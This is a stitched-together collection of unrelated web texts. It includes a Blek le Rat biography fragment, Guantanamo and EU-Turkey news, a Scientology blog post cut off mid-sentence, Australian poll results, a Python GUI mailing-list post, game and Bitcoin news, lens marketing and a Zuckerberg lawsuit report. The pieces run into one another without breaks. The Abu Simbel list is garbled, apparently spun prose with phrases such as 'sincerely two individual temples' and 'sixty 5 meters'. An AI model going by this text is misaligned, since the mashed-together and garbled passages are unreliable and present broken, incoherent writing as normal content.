Initially influenced by the early graffiti-art of New York City after a visit in 1971, he chose a style which he felt better suited Paris, due to the differing architecture of the two cities.[4] He also recognised the influence of Canadian artist Richard Hambleton, who painted large-scale human figures in the 1980s.[3] In 1985, he was on the first meeting of the graffiti and urban art movement in Bondy (France), on the VLP's initiative, with Speedy Graphito, Kim Prisu, Miss Tic, SP 38, Epsylon Point, Jef Aérosol, Futura 2000, Nuklé-Art, Banlieue-Banlieue. Blek's oldest preserved street art graffito, a 1991 replica of Caravaggio's Madonna di Loreta, which he dedicated to his future wife Sybille, was rediscovered behind posters on a house wall in Leipzig, Germany, in 2012.[6]
French authorities identified Blek in 1991 when he was arrested while stencilling a replica of Caravaggio's Madonna and Child, with the connection to Blek and his artwork being made by police. From that point on, he has worked exclusively with pre-stenciled posters, citing the speedier application of the medium to walls, as well as lessened punishment should he be caught in the act.[1]
He has had a great influence on today's graffiti-art and "guerilla-art" movements, the main motivation of his work being social consciousness and the desire to bring art to the people. Many of his pieces are pictorials of solitary individuals in opposition to larger, oppressive groups.[5] In 2006 he began his series of images representing the homeless, which depict them standing, sitting, or lying on sidewalks, in attempts to bring attention to what he views as a global problem.[7]
Influence on and opinion of Banksy [ edit ]
British graffiti artist Banksy has acknowledged Blek's influence stating "every time I think I've painted something slightly original, I find out that Blek le Rat has done it as well, only twenty years earlier."[8] The two have expressed mutual desire for collaboration; in 2011, Blek was seen adding to a mural begun the previous year by Banksy in the Mission District, San Francisco.[9]
Blek le Rat initially disagreed with those who claim Banksy has copied his work: "People say he copies me, but I don't think so. I'm the old man, he's the new kid, and if I'm an inspiration to an artist that good, I love it. I feel what he is doing in London is similar to the rock movement in the Sixties."[8] More recently, however, in the documentary Graffiti Wars, Blek took a different tone, stating, "When I see Banksy making a man with a child or Banksy making rats, of course I see immediately where he takes the idea. I do feel angry. When you're an artist you use your own techniques. It's difficult to find a technique and style in art so when you have a style and you see someone else is taking it and reproducing it, you don't like that. I'm not sure about his integrity. Maybe he has to show his face now and show what kind of guy he is."[10]
Exhibitions [ edit ]
"Sheep" by Blek le Rat at Subliminal Projects Gallery, Los Angeles
Blek le Rat, London, 2008
In October 2006, Blek le Rat had his first solo U.K. exhibition in London at the Leonard Street Gallery. He participated in the Cans Festival in 2008, which featured outdoor street stencil painting in Waterloo, London by many of street art's biggest names.[8]
His American gallery debut took place at Subliminal Projects Gallery in Los Angeles in 2008. It included paintings, silkscreen, and three-dimensional artwork, as well as photography from his wife, Sybille Prou.[3]
Blek also had an exhibition in December 2009 at the Metro Gallery in Melbourne, a centre of street art in Australia. The exhibition entitled "Le Ciel Est Bleu, La Vie Est Belle" (The sky is blue, life is beautiful), featured wooden panels, canvas, screen-print, and photographs, tracing the artist's oeuvre from the early 1980s to the present.
Blek le Rat has nonetheless expressed preference for the streets over galleries, stating the integrity of an artist is to be seen by as many people as possible, not being sold or recognized in a museum.[4]
In 2014, Blek le Rat exhibited 3 large-scale original paintings and an edition of 25 unique monotypes with lithography[11] in a setting that bridges these traditional spaces—the Quin hotel in New York City—as part of the hotel's Quin Arts program. The artist created the lithographs at the New York Academy of Art during his tenure as artist in residence at the Quin hotel. Collectively entitled "Escaping Paris," the exhibit was curated by DK Johnston of The Arts Fund. The Quin's permanent collection also includes Blek le Rat's "Love America" on the 14th floor and loaned works the "Great Wedding" on the second floor, "What Has Been Seen Cannot Be Unseen" in the boardroom, and "Tango" in the lobby. Most recently, Blek le Rat commemorated this collaboration on the Quin's façade with an image of Andy Warhol.[12]
See also [ edit ]
References [ edit ]
Further reading [ edit ]<a href="http://s3.documentcloud.org/documents/726535/camp-6-documents-notice-to-court-draft-july-2.pdf">Camp 6 Documents Notice to Court Draft (July 2 2013)1 (PDF)</a> <br /> <a href="http://s3.documentcloud.org/documents/726535/camp-6-documents-notice-to-court-draft-july-2.txt">Camp 6 Documents Notice to Court Draft (July 2 2013)1 (Text)</a>
Guantanamo officials don't know who the rightful owners are of thousands of pages of legal documents and other materials seized from prisoners during a raid at the communal camp in April, according to a government document obtained by Al Jazeera.
The Justice Department said in a draft seven-page court filing dated July 2 that Joint Task Force-Guantanamo (JTF-GTMO) is "currently in possession of one hundred five (105) bins and three (3) bags of documents and materials for which ownership cannot be determined without further review."
The Justice Department plan calls for tasking a Defense Department "privilege review team," a panel made up of Defense Department attorneys, intelligence officials, interpreters and translators, with scrutinizing the materials - some of which may be confidential - to figure out whom it belongs to.
"JTF-GTMO recognizes that some of the materials may be legal materials or attorney-client communications…" says the draft filing, which is expected to be filed by the government in all Guantanamo habeas corpus cases. "Out of an abundance of caution that the documents collected may include legal materials or attorney-client communications, and to respect the potential sensitivity of the recovered materials, the Department of Defense will have the Department of Defense Habeas Privilege Team inspect and review the materials currently in storage in an attempt to determine the proper owners of the recovered materials."
If the government can't identify which prisoners the legal documents belong to, the privilege review team will look through the protected attorney-client materials and try to find the names of attorneys. If that fails, "the Privilege Team, without disclosing potentially confidential or privileged information, will consult with the Department of Defense Office of General Counsel and the Department of Justice before taking further action."
"These entities will work with the Privilege Team to identify workable solutions to get as many items as possible to their proper owner," the Justice Department draft plan says.
Documented problems
Improper access to Guantanamo prisoners' privileged attorney-client communications and legal mail has been an ongoing problem at the prison and in ongoing military commissions proceedings. This latest development comes two weeks after United States Southern Command (SOUTHCOM), which has oversight of the joint task force that operates Guantanamo, released a report to me under a Freedom of Information Act request that found widespread problems pertaining to the overall operation of the prison and significant leadership failures that contributed to the death of a Yemeni prisoner last September.
The Justice Department asked habeas attorneys to weigh in on the proposals laid out in its draft legal filing. The attorneys are expected to file a formal response to the government's proposal in federal court. Attorneys representing some prisoners did not respond to requests for comment.
The materials were seized in the aftermath of a pre-dawn raid at the communal Camp 6, where more than 100 prisoners had been on a hunger strike for two months.
"This action was taken in response to efforts by detainees to limit the guard force's ability to observe the detainees, including by covering surveillance cameras, windows, sally port fences, and glass partitions," the draft filing, written by Acting Assistant Attorney General Stuart Delery, who represents the government in Guantanamo habeas litigation cases, and other officials. "In order to reestablish proper observation of the detainees, the guards entered the Camp 6 communal living spaces and recreation yards to transition detainees into single cells; to remove obstructions to cameras, windows, and partitions; and to allow medical personnel to conduct individual assessments of each detainee due to an ongoing hunger strike."
According to the draft filing, when prisoners were moved into solitary confinement guards seized all of the documents and materials from their cells and the Camp 6 communal areas.
"Prior to the transition operation, detainees residing in Camp 6 were authorized to congregate in designated communal areas and further permitted to bring authorized documents and materials with them to these areas," the filing states.
"Many of the detainees routinely left materials in the communal areas, and consequently, those materials were still in the communal areas at the time of the transition operation. Materials belonging to a number of different detainees were collected and compiled from the same communal area and placed into bags or bins for storage pending sorting and review. JTF-GTMO personnel conducted a search for physical contraband while gathering the materials from the communal areas, but did not read or review the materials."
Moreover, "JTF-GTMO guards also collected all materials from inside individual detainees' assigned cells for temporary storage while the cells were appropriately secured and cleaned."
"During the collection of these materials, guards removed any unauthorized physical contraband that was discovered," according to the draft filing. "In addition, if, while collecting the materials and searching for unauthorized physical contraband, the guards discovered items that were clearly marked with the Internment Serial Number (ISN) of a detainee other than the detainee assigned to the cell being searched, the material was not returned to any particular detainee and, instead, placed with the communal materials. With the exception of the two categories of materials noted above - physical contraband and materials belonging to other detainees - JTF GTMO has returned, or attempted to return, to detainees the materials removed from their cells."
But a footnote in the draft filing said, "Five detainees initially refused to accept their materials back. The nine bins of materials belonging to these detainees are also among the communal materials."
Questionable confiscation
Still, numerous prisoners had complained to their attorneys after the raid that their legal mail and other materials, like pictures and eyeglasses, were never returned. That prompted several attorneys to reach out to Department of Justice officials to inquire about the matter. Justice Department officials then looked into and prepared the proposed order in an attempt to resolve the issue.
The filing states that some materials belonging to the prisoners currently held by JTF-GTMO were also seized during a "separate security operation in February 2013." That's the month when the mass hunger strike, now in its fifth month, started. Prisoners said they launched their protest after translators and linguists searched their Korans for "contraband."
Navy Capt. Robert Durand, a Guantanamo spokesman, told Al Jazeera Thursday afternoon, "first I've heard this."
On Friday, Army Lt. Col. Todd Breasseale, a Pentagon spokesman, confirmed documents were seized from prisoners. In explaining the issue, Breasseale used language that closely matches language in Justice Department's draft court filing.
"During the April 2013 transition, guards collected material from inside individual detainees' cells as well as from the communal areas within Camp 6, " Breasseale said. " Some documents have been returned to detainees but there remain documents collected from both common areas and from cells whose ownership cannot be determined without further review."
"The documents whose ownership cannot be determined have been secured since the time of the April 2013 transition," Breasseale added. "The Department of Defense is in the process of developing procedures, respectful of potential privilege issues, through which ownership of the remaining documents can be ascertained, where practicable. The US Department of Justice has notified counsel for the detainees and is consulting with them on the matter."
A Justice Department spokesperson did not return calls or emails for comment.Turkey's President Tayyip Erdogan (L) shakes hands with European Council President Donald Tusk ahead of a meeting at the EU Council in Brussels, Belgium October 5, 2015. REUTERS/Francois Lenoir
BRUSSELS (Reuters) - The European Union is ready to stick to its migration deal with Turkey but Ankara should not seek to change the rules after they had already been agreed, a top EU official said on Tuesday.
“The EU stands ready to fulfil its part of EU-Turkey deal as long as Turkey agrees to play by the rules, and not with the rules,” European Council President Donald Tusk said on Twitter.
Though much-criticized by rights advocates, the accord helped sharply cut the number of refugees and migrants reaching European shores, giving EU politicians precious breathing space after some 1.3 million people reached the continent last year.
But clouds have now gathered over the deal as Ankara threatens to walk away from it should the EU not ease travel rules for its citizens, a politically contentious discussion in the 28-nation bloc.I recently read a book by the US TV actress and ex-Scientologist Leah Remini entitled “Troublemaker.” It discusses her experience in Scientology.
In her book, she describes how Scientologists live in an isolated social world which is dedicated to the pursuit of an apparently endless series of ‘courses’ (she says she was expected to ‘study’ for two-and-a-half hours every day, regardless of other commitments).
Whenever a course is completed great pains are taken to insure a sense of achievement – gaudy ‘certificates’ are issued and the student makes a formal speech (called a “success story”) to admiring comrades, who applaud and congratulate them. Almost immediately, they pay for, and move on to, the next course.
Consequently, as long as you stay within an exclusively Scientology environment(and you don’t have much time for anything else) it is easy to feel that you are making constant progress in life, and becoming (as promised) a more capable person. However, Remini also notes that Scientologists often struggle to maintain this illusion when they try to apply Scientology to problems in the wider word – only to find that they still encounter the same difficulties as anyone else. All that have really learned is how to be a better Scientologist.
I decided to illustrate this conflict by taking a close look at the visible progress of my local Scientology Org in Plymouth, England (image above) towards its stated goals. Does this show that trained Scientologists really are “more capable”, as they claim?
After Nearly Six Years of Fund-raising, Plymouth Ideal Org Still Isn’t Happening
Back in June 2015, I captured the image to the left. If you click on it, a larger version will open in a new tab.
A T-shirt is hung on the wall. Printed on it is a Union Flag bearing the
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against Alabama comes in 22nd since 2005. Great, but not historical. Sam Bradford had three better games, RGIII, Colt Brennan, and Vince Young had two. Even Manziel himself scored higher against Missouri last season. Geno Smith against Baylor, the leader of the pack, was 5.7 points better (Smith's raw EPA from that game was a 51.3, almost 30 points higher than Manziel's). This is not an insignificant gap, but if that tipped ball had somehow fallen through Sunseri's hands, Manziel would have had the single-most productive game for an individual player in the last nine years... and probably of all time. Throw out the second interception and this performance would be a full touchdown better than any we've ever seen before. Unfortunately, football doesn't work like that.Subjectively, given the moment, I've said that I think this was the most impressive offensive performance in the last decade and maybe of all time (though I'm admittedly too young to speak of such things). The accumulated stats with the (insufficient) 4th quarter comeback are awe worthy. If the A&M defense had come up with a couple more stops, the rest of the college football world might see it the same way.More voters oppose use of super for housing than support it: Guardian Essential poll
More voters believe superannuation should be preserved to fund retirement than used to purchase property according to the latest Guardian Essential survey, which has federal Labor retaining an election-winning position.
The latest poll of 1,804 voters has 50% of the sample saying super should be preserved for retirement, while 38% think it should be available to buy a home.
Only 34% of Coalition voters approved of using super for home ownership, with 58% in favour of keeping the nest egg for retirement.
Low-income earners turn to negative gearing, report says Read more
Support for the concept has dropped since May 2015, when 46% of those surveyed said super should be reserved for retirement and 41% said home ownership should be permitted.
The new Guardian Essential survey came amid public debate between senior Turnbull government figures about a proposal that would see people given access to their super for property purchases in the May budget.
The concept has divided the government and the prime minister, Malcolm Turnbull, has publicly derided the idea, which was explored by the treasurer, Scott Morrison, as part of a broad-ranging housing affordability package in the budget.
Turnbull said last week: “The legislative objective of superannuation is to provide for retirement – that’s the whole purpose of it and that’s the way the whole system is set up in the first place.”
The new Guardian Essential survey has Labor well ahead of the Coalition on the two-party preferred measure, leading on 54% to the Coalition’s 46%. Last week’s two-party preferred vote had Labor leading the Coalition 53% to 47%.
It also suggests that the One Nation leader, Pauline Hanson, has a higher disapproval rating from voters than approval. The poll showed 48% disapproved of her performance, while 32% approved.
Two other rightwing Senate crossbench players – the former Liberal Cory Bernardi and the Liberal Democratic party senator David Leyonhjelm – also had relatively high disapproval ratings.
In Leyonhjelm’s case 9% approved while 28% disapproved. Fifty per cent of the survey didn’t know enough about him to express a view. Bernardi had 34% disapproval and 10% approval and 41% didn’t know enough to venture an opinion.
Australia's housing market and the great intergenerational tax rort | Lindsay David Read more
The NXT leader, Nick Xenophon, by contrast, was more liked than disliked, with 35% approval and 25% disapproval.
Two other crossbenchers – Derryn Hinch and Jacqui Lambie – divided the field. Thirty-five per cent approved of Hinch and 27% disapproved. In Lambie’s case, 32% approved and 30% disapproved.
The poll also posed a number of security questions, asking whether voters approved of the US government bombing Syria in response to the use of chemical weapons reportedly by the Assad regime. Forty-one per cent approved and 36% disapproved, while 23% of the sample didn’t have a view.
Voters gave the thumbs down to the idea of the Australian government providing military support for US actions in Syria. Fifty per cent disapproved while 31% approved.
Voters nominated terrorism as the greatest threat to global stability and world peace (49%) with US aggression on 15%, climate change on 11%, Russian aggression on 8% and Chinese aggression on 5%.in the longest thread i've ever contributed to rather than sparked off as a flame-war, i describe why i think that leveraging web browser technology is a much better way to create a widget set.
[ye gods, i think this is the largest thread i've ever seen, but i still feel compelled to wind back to the beginning and spew forth words.] On Jun 6, 2:22 am, ant <[email protected]> wrote: > I get the strong feeling that nobody is really happy with the state of > Python GUIs. yep. that's why i ported pyjamas, which was a web-only/browser-only UI toolkit, to the desktop. it's a _real_ eye-opener to try to use the "failed" ports of pyjamas to both pygtk2 and pyqt4, which you can still get at http://github.com/lkcl/pyjamas-desktop - see pyjd-pyqt4 and pyjd-pygtk2 these failed ports give you the clearest and bluntest indication of the failings of pyqt4 and pygtk2. after using those two "top" mainstream python GUI widget sets, i didn't try any others. > Whether or not we like graphics programming, it's not going to go > away. no you're right, it's not.... but as web browser technology development continues to accelerate, the top mainstream GUI technology (not just python GUI technology) is going to look more and more archaic in comparison. > I ask the group; should we try to create a new GUI for Python, with > the following > properties?: > > - Pythonic > - The default GUI (so it replaces Tkinter) > - It has the support of the majority of the Python community > - Simple and obvious to use for simple things > - Comprehensive, for complicated things > - Cross-platform > - Looks good (to be defined) > - As small as possible in its default form i invite anyone considering starting a new python GUI project to consider these questions: * how much effort has been and is being spent, right now, on developing and debugging each of the python GUI widget sets, as compared to the efforts on web browser technology (MSHTML, KHTML ok maybe not kHTML, WebKit, XulRunner)? (put another way: how long have web browsers existed and how much user-market-share do web browsers have, compared to GUI and python GUI widget sets?) * are python GUI widget sets easy to compile cross-platform, as compared to web browser technology which is _definitely_ cross-platform? * how easy is it to extend the existing python GUI widget sets with "new" or "custom" widgets, as compared to web browser technology where you can manipulate bits of DOM? if you're not sure of how simple/complex each task is, read and compare these: http://www.learningpython.com/2006/07/25/writing-a-custom-widget- using-pygtk/ http://pyjd.sourceforge.net/controls_tutorial.html * how easy is it, using the "new" or "custom" widget extension methodology of existing python GUI widget sets, to extend that widget set to "keep up" with modern GUI advancements and user expectations, as compared to enhancing web browser technology? actually, this is a deliberately misleading question, but it at least illustrates that it's damn hard for GUI widget set developers to "keep up". in fact, many GUI widget set developers are actually embedding web browser technology as a widget in order to avoid the problem! (pywebkitgtk, pyqtwebkit etc.) * better question: how much time and money by large corporations with their associated vested interests is being invested into python GUI widget sets, as compared to how much by those same corporations into the W3C DOM Standards process and the resultant improvements and advances in web browser technology? * final question: how easy is it to create python "wrappers" around DOM browser technology, thus leveraging and riding on the back of the _vast_ amounts of effort and money being poured into web browser technology? answer for MSHTML (aka Trident Layout Engine): using python-comtypes - 3 weeks. answer for WebKit: using glib/gobject and pygobject "codegen" to augment pywebkitgtk - 12 weeks answer for XulRunner: using python-hulahop and python-xpcom - 2 weeks. answer for Opera's engine: unknown, because the developer hasn't responded yet. (it's qt-based, so it would be estimated around 12 weeks, if they haven't already done the work). so can you see where this is at? and that's why pyjamas/pyjamas-desktop exists. a _completely_ non-corporate-funded, _tiny_ team is riding on the back of the vast amounts of money and resources available to google, apple, nokia, microsoft, mozilla foundation and so on, and we're sitting back and offering it as free software to people to create applications that are as powerful as the underlying web technology on which the pyjamas UI toolkit is based. and with the addition of WebGL (3D SVG) and HTML5 (Video etc.), web technology is becoming pretty powerful. so this is why it can be claimed that pyjamas competes with silverlight and with adobe AIR/Flash, and it's not to do with pyjamas "per se": pyjamas is just a "leveraging" technology to get at the underlying power of the web engines. (the claim _does_ however grate against a lot of egos, somewhat understandably, and with a non-existent "marketing dept" there's not a lot that can be done about that). so let me go over these points again, now wrt pyjs/pyjd "in the frame" so to speak. > - Pythonic yep it is. definitely. part of the reason why pyjamas is 1/10th the size of GWT is thanks to the dynamic nature of python. another reason is that we simply left out vast tracts of GWT code (such as thousands of lines of GWT "internationalisation" support) but that's another story. > - The default GUI (so it replaces Tkinter) can't answer that one. > - It has the support of the majority of the Python community _definitely_ can't answer that one :) but i'm betting that, without reading them, a good 80% of the 222-long discussion so far is in response to this point :) > - Simple and obvious to use for simple things pyjamas is blindingly so. helloworld in 5-6 lines, just like pygtk. async event handling and well-defined event-receiving functions. etc. etc. > - Comprehensive, for complicated things yep. you only have to look at the GWTCanvas examples or the GChart 2D graph/barchart source code (19,000 lines!) to see how "simple" DOM manipulation can turn into comprehensive applications. > - Cross-platform definitely. cross-platform, cross-widget-set _and_ cross-browser, because, last resort, if users refuse to install pyjamas-desktop, you can always compile the exact same application to javascript and run it in every single major modern web browser.... can pygtk2, pyqt4, TkInter or wxWidgets claim to be cross-browser? can you recompile a pygtk2 or pyqt4 application and run it in a web browser, as javascript (actually, there _is_ a reimplementation of pygtk2 for pyjamas, it was a GSoC 2007 experiment - about 20-30% completed port of pygtk2 widgets, but it proved the point) > - Looks good (to be defined) that's up to, and entirely under the control of, the developer. i.e. it's up to the developer to make use of CSS styles and in some instances bits of HTML to "prettify" the application, and perhaps makes use of some of the more decorative panels (DecoratorPanel, CaptionPanel) in combination with some round-curved images and associated CSS stylesheet. other than that, the application "looks as good as" the underlying web browser engine "default" styles. which can be pretty boring, but that's life, and it's why CSS stylesheets exist. which normal desktop GUI widget sets of course can't make use of. > - As small as possible in its default form pyjamas is pretty damn small, and it's pure python. there's no c code involved in the actual pyjamas codebase [and probably never will be]. the main UI library used to be one 4,000-line file: i got fed up with that and split it into 70 separate modules (one per widget/class) and the repetition of the license text increased it to 6,500 lines (!). since that time, about a year ago, the UI code has expanded to about 9,000 lines, with the addition of some GWT-ported widgets, contributed by users as GWT itself has developed. the pyjd DOM "wrapper" technology (which is responsible for creating a window and firing up the users' app under each of the three pyjd ports) is a total of 4,000 lines, but you don't need to know anything about that: it's just a "tool". i mention it out of sheer fascination/horror as to how to leash and tame a behemoth (such as a W3C DOM compliant browser engine). the pyjs compiler used to be 1200 lines, and is now 4,000 - but again, it's a specialist "tool" that has _nothing_ to do with the UI toolkit itself: you just use it, just as you use "gcc" and don't include "gcc" itself as part of your application. so, i hope that i'm steering you away from considering creating yet another python GUI widget set, and i leave you with this irony: the pyjamas desktop ports, thanks to their browser engines, actually use "raw" Win32 GDI in the case of the MSHTML port; GTK in the case of the xulrunner port; and GTK again in the case of the pywebkitgtk port. there _is_ a pywebkitqt4 experimental port as well but the DOM bindings to pywebkitqt4 are virtually non-existent: you have to actually use and execute javascript code-fragments (from python *shudder*, *quiver*) and try to prise the resultant bit of DOM out of the JS engine's cold, dead fingers, and create a proxy class to nurture it back to life in the python world. but, as far as pyjamas developers are concerned, all that is completely irrelevant: you just "get on with it". l. p.s. come along to http://europython.eu 19-24 july 2010, birmingham, UK.If you ever hope to see that Final Fantasy VII remake we've been waiting a decade-plus for, you should probably set some money aside for the upcoming Final Fantasy X redux.
In what may be the most obvious yet somehow still compelling news to emerge from E3, Square Enix producer Yoshinori Kitase has coyly suggested that the company could be convinced to remake an as-yet-unknown number of its other Final Fantasy titles if the imminent Final Fantasy X remake is a financial success.
Kitase, who served as producer on Final Fantasy X and the more recent Final Fantasy XIII, was recently interviewed by (the refreshingly aptly named) RPG Site, who asked if we might see other titles remade in high-definition beyond Final Fantasy X. "We'll have to wait and see if these remasters are going to be successful, first," Kitase claimed.
"If they do well, I think this will pave the way for more of the previous games to remade in an HD sort of quality."
RPG Site then asked what game might be next on the list of potential remakes, and Kitase had an answer almost immediately. "I mean, if we HAD to single out one of the vast number of Final Fantasy titles which we could make in HD, it would have to be Final Fantasy XII," he replied.
"I was not involved in the project, though, so we can't really comment on that. What I can say though is that I hope the remastering of X and X-2 will trigger similar projects for more of the past games."
As much as the majority of gamers were probably hoping Kitase might say Final Fantasy VII, if one had choose another entry in the series to receive the HD treatment, it would be Final Fantasy XII. Objectively speaking, it's simply one of the best Final Fantasy titles. Of course, we do get the feeling that Kitase's comments are more "gladhanding the public" than anything else, but it's sunny outside, so in the spirit of unrealistic optimism let's all go buy that Final Fantasy X HD remake.
Well, whenever it actually arrives, that is. It still lacks a release date (or even a window of any kind), but we'll let you know just as soon as Square Enix firms up its plans for this ethereal title.
Source: RPG Site1. The Abu Simbel Temple is sincerely two individual temples, each rock cut buildings, and each constructed for the period of the reign of King Ramses II someday in the 1200 B.C. Time interval. One temple is committed to King Ramses II, and the 2nd temple is committed to his beloved wife Queen Nefertari.
2. Many Nile River cruises include views of the temple vicinity, and some may just discontinue so passengers can consult with and discover. There is a price to visit the temples, and cameras usually are not authorized. Some cruises incorporate the doorway price for cruise sights in the rate of the cruise even as others don’t.
Three. Abu Simbel Temple does not comprise a temple to any of the opposite wives of King Ramses II, most effective Queen Nefertari. This is due to the fact that she was once his first and important spouse, and he cherished her peculiarly different. Many ancient Egypt temples were constructed in view that of devotion in this trend.
4. A Lake Nasser cruise has a part discontinue to visit the temples, however this lake posed a hazard to the enchantment at one point. The lake waters rose due to the fact of the excessive Dam construction, and this risked inserting the temples in close contact with the water.
5. In 1964 the 2 structures of Abu Simbel Temple had been cut into many distinctive pieces, and each temples were moved extra away from the rising water of Lake Nasser. The constructions had been moved to a location sixty 5 meters above the common spot, and two hundred meters extra again from the shoreline.As the year kicks off with an all-time high market cap for Bitcoin on its eighth birthday, 2017 promises to be an exciting year for Bitcoin, digital currency and blockchain technology in general.
In this first week of the new year, Bitcoin Magazine reached out to a variety of thought leaders and stakeholders in the industry, to offer a look ahead.
Roger Ver, Bitcoin Evangelist and Investor
"2017 is likely to be the best year yet for Bitcoin. We are already seeing all-time new highs in terms of market cap. All-time new highs in terms of price per bitcoin are likely just around the corner as well. Nothing is more powerful than an idea whose time has come, and clearly the separation of money and state is happening right before our eyes. And with the former CEO of Barclays bank being appointed to the board of Blockchain.info, I think 2017 will be the year we see traditional banks becoming deeply involved in Bitcoin, too."
Eric Lombrozo, Bitcoin Core Developer and Co-CEO of Ciphrex
"2017 will continue to see further modularization and layering of network architectures. We will also see tremendous breakthroughs in privacy-enhancing crypto, practical demonstrations of trustless - or minimal trust - off-chain protocols with the promise of economically viable instant microtransactions, and general improvements to bootstrapping mechanisms for extending blockchain networks with less social friction."
Kathleen Breitman, CEO of Tezos
"I think one of the most remarkable things about the space to date is how receptive regulators have been to learning about use cases for both private and public blockchains. With respect to public blockchains, I think we will see regulators continue their 'wait and see' approach, putting emphasis on financial control at the exchanges but keeping a light touch on the technology itself."
Alejandro De La Torre, Business Development at BTC.com
"If the demonetization as we've seen in countries like India and Venezuela continues, I expect to see a blossoming of Bitcoin interest. Another trend I see emerging is Bitcoin security. Many users are realizing that their bitcoins are not safe in exchanges and are switching to wallets that have beefier security or using cold storage."
Stephen Pair, Co-Founder, President and CEO of BitPay
"I believe we'll see a renewed focus on the Bitcoin blockchain. We'll see a few new applications of the Bitcoin blockchain that do surprisingly simple, yet very powerful, things. People will begin to see Bitcoin in an entirely new light."
Aaron Voisine, Co-Founder and CEO of Breadwallet
"I predict that 2017 will see bitcoin become recognized as a legitimate 'uncorrelated asset' for a large number of money managers and financial advisors. Holding a diversified portfolio of assets is of course what any prudent financial advisor will recommend. This however doesn't do you much good if those assets' value all move in the same direction at the same time. In order to achieve diversification, you need to hold some assets that increase in value when the others go down. Bitcoin is a perfect example of an asset that has shown to increase in value in times of fear and economic turmoil, and one that I think many money managers will begin to see as a prudent addition to their portfolios."
Anthony Di Iorio, CEO and Founder of Decentral and Jaxx
"I'm predicting new well-led projects emerging that provide improvements and enhancements on Bitcoin and Ethereum infrastructures. Two projects I have my eye on in 2017 are Rootstock out of Argentina and Qtum out of China. I'm also quite optimistic about Zcash, Monero, and Dash."
Manfred Karrer, Developer and Founder of Bitsquare
"I expect three things. One, regulations on cryptocurrency exchanges will come. Two, the war on cash, gold and cryptocurrencies will accelerate. And three, privacy-protecting technologies like Monero and Zcash will elevate in importance."
Susanne Tarkowski Tempelhof, Founder of BitNation
"I find smart contracts applied in the dispute-resolution realm most exciting, because it holds the promise to decentralize some of the most important parts of society: Governance, Law and Security. In an era when only 3% of Americans feel that they can always trust their elected officials, according to a Pew Research Centre report, this development is timely. Several initiatives are already emerging, including DAMN, Decentralized Court, Crowdjury and, of course, BitNation's Pangea platform."
Max Kordek, CEO of Lisk
"I believe that VCs will discover the value of cryptocurrencies or so-called 'App Coins,' and will begin to massively invest in this area of the industry. Secondly, projects like Lisk and Ethereum will be ready to let developers dive into blockchain development, which will become a 'trend' just as iOS development became a trend and a vast industry. Lastly, user experience will become a much more important focus point for blockchain projects. Their respective leaders will realize that creating elegant user experience is a necessity to gather mainstream adoption."
Trace Mayer, Host of the Bitcoin Knowledge Podcast
"Bitcoin's network effects will get further entrenched during 2017. One trend I think we'll see will be in scalability via Segregated Witness, which will lay the foundation for millions of daily users. Also, many current and new use cases and financialization will appear with ETFs, which I believe will pave the way for massive amounts of investment capital to come into the industry."
Joey Krug, Co-Founder of Augur
"I think the biggest trend in 2017 will be the first wave of decentralized applications going live on Ethereum. Bitcoin allows us to send money around trustlessly, but Ethereum allows us to do things with the money trustlessly, like controlling when and when it cannot be sent programmatically, to a finer degree than Bitcoin's script allows for. This is a big deal because it means we'll finally start seeing some fun and practical consumer-focused applications of Blockchain tech. Think decentralized prediction markets, decentralized poker and more."
Alex Tapscott, Co-Author of the Book "Blockchain Revolution"
"One, a major central bank will live test a digital fiat currency and it will work very well, leading to broader adoption. Additionally, large banks will begin shifting large amounts of OTC [over-the-counter] transactions to real-time settlement on private distributed ledgers. Look for JPMorgan, Goldman Sachs, Barclays and Santander to lead the charge. And companies large and small and in every industry will begin developing a blockchain strategy, hiring key IT talent and launching pilots. I'm talking insurers, healthcare providers, music labels, defense contractors, you name it. And finally, bitcoin will hit $2000!"Precise AF tracking and VC (Vibration Compensation) are essential for ultra-telephoto lens performance. Thatʼs where Tamronʼs Dual MPU high-speed control system comes in. It features an MPU (micro-processing unit) with a built-in DSP (Digital Signal Processor) for superior signal processing, plus a separate MPU dedicated exclusively to vibration compensation. With enhanced AF response speed and VC, you can accurately shoot fast-moving subjects with stability and ease—even in low-light.
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Weʼve fine-tuned our original VC (Vibration Compensation) system with an enhanced control algorithm and an independent MPU dedicated to VC. Together, they meet a CIPA image stabilization performance level of 4 stops. While most ultra-telephoto lenses are prone to camera shake, the Model A035 delivers excellent stability for reliable, stress-free handheld shooting.CLOSE Facebook CEO Mark Zuckerberg says his lawsuits over Hawaiian land are standard to identify who should get money in his purchase of 700 acres. Newsy
Facebook CEO Mark Zuckerberg is suing Hawaiian families to force land sales and increase the privacy of his Kauai waterfront estate. (Photo11: Martin E. Klimek, USA TODAY)
SAN FRANCISCO — Mark Zuckerberg is looking for more privacy on Kauai and he's going to court to get it.
The Facebook CEO, who purchased a 700-acre waterfront estate for $100 million in 2014, filed eight lawsuits last month against several hundred people to force the sale of land that belongs to local Hawaiian families, according to the Honolulu Star Advertiser. The 14 plots on eight acres within Zuckerberg's Kauai estate gives them the right to cross the tech billionaire's land.
Zuckerberg's legal maneuver, called "quiet title and partition," would force local families to sell land that has been in their families for generations to the highest bidder through a public auction, the newspaper said. Zuckerberg has done genealogical research to identify the owners of the Kuleana parcels which were granted to native Hawaiian tenant farmers between 1850 and 1855.
In a Facebook post, Zuckerberg said he wanted to clear up "misleading" news articles.
"The land is made up of a few properties. In each case, we worked with the majority owners of each property and reached a deal they thought was fair and wanted to make on their own.
"As with most transactions, the majority owners have the right to sell their land if they want, but we need to make sure smaller partial owners get paid for their fair share too.
"In Hawaii, this is where it gets more complicated. As part of Hawaiian history, in the mid-1800s, small parcels were granted to families, which after generations might now be split among hundreds of descendants. There aren't always clear records, and in many cases descendants who own 1/4% or 1% of a property don't even know they are entitled to anything.
"To find all these partial owners so we can pay them their fair share, we filed what is called a 'quiet title' action. For most of these folks, they will now receive money for something they never even knew they had. No one will be forced off the land."
According to the Star Advertiser, land ownership in the area often lacks legal documentation, with members of the families inheriting land passed down through the generations without a will or property deed. Some are unaware they own the parcels. The few hundred defendants, some dead, have 20 days to respond to the lawsuits.
In an emailed statement, Keoni Shultz, a partner at Cades Schutte and spokesperson for Zuckerberg, said "quiet title actions are the standard and prescribed process to identify all potential co-owners, determine ownership, and ensure that, if there are other co-owners, each receives appropriate value for their ownership share."
Using the law to force land sales has reduced Native Hawaiian landownership, according to A Center for Excellence in Native Hawaiian Law primer on quiet title and partition lawcited by the Star Advertiser.
One of the owners of the land in question, Carlos Andrade, is helping Zuckerberg as co-plaintiff, the newspaper said.
